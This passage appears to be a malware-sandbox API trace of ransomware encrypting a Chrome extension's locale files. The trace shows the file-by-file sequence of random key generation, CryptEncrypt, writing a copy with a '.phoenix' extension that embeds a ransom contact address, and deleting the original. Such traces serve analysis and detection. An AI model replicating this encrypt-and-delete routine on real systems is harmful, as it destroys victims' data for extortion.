	[0256.185] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.185] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.185] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0256.185] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.186] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.186] CloseHandle (hObject=0x314) returned 1
	[0256.186] CloseHandle (hObject=0x310) returned 1
	[0256.186] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json")) returned 1
	[0256.188] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.188] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=217) returned 1
	[0256.188] CloseHandle (hObject=0x310) returned 1
	[0256.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json")) returned 0x20
	[0256.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.189] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.189] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.189] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0256.189] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.189] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd9, lpOverlapped=0x0) returned 1
	[0256.191] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.191] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0256.192] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.192] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.192] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.192] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.192] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0256.192] CloseHandle (hObject=0x310) returned 1
	[0256.192] CloseHandle (hObject=0x314) returned 1
	[0256.192] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json")) returned 1
	[0256.194] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.195] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=195) returned 1
	[0256.195] CloseHandle (hObject=0x314) returned 1
	[0256.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json")) returned 0x20
	[0256.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.195] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.195] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.196] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0256.196] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.196] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc3, lpOverlapped=0x0) returned 1
	[0256.249] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0256.249] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0256.692] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0256.692] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.692] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.692] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.692] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.693] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.693] CloseHandle (hObject=0x314) returned 1
	[0256.693] CloseHandle (hObject=0x310) returned 1
	[0256.693] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json")) returned 1
	[0256.694] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.694] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.694] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=213) returned 1
	[0256.694] CloseHandle (hObject=0x310) returned 1
	[0256.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json")) returned 0x20
	[0256.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.695] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.695] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.695] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0256.695] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.695] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd5, lpOverlapped=0x0) returned 1
	[0256.696] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0256.696] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0256.697] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0256.697] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.697] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.697] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.697] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.697] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.697] CloseHandle (hObject=0x310) returned 1
	[0256.697] CloseHandle (hObject=0x314) returned 1
	[0256.697] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json")) returned 1
	[0256.699] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.699] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.699] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=206) returned 1
	[0256.699] CloseHandle (hObject=0x314) returned 1
	[0256.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0256.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.699] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.699] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.700] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.700] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0256.700] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.700] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xce, lpOverlapped=0x0) returned 1
	[0256.701] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0256.701] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0256.702] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0256.702] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.702] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.702] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.702] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.702] CryptDestroyKey (hKey=0x151200) returned 1
	[0256.702] CloseHandle (hObject=0x314) returned 1
	[0256.702] CloseHandle (hObject=0x310) returned 1
	[0256.702] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json")) returned 1
	[0256.703] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.704] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.704] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=208) returned 1
	[0256.704] CloseHandle (hObject=0x310) returned 1
	[0256.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0256.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.704] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.704] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
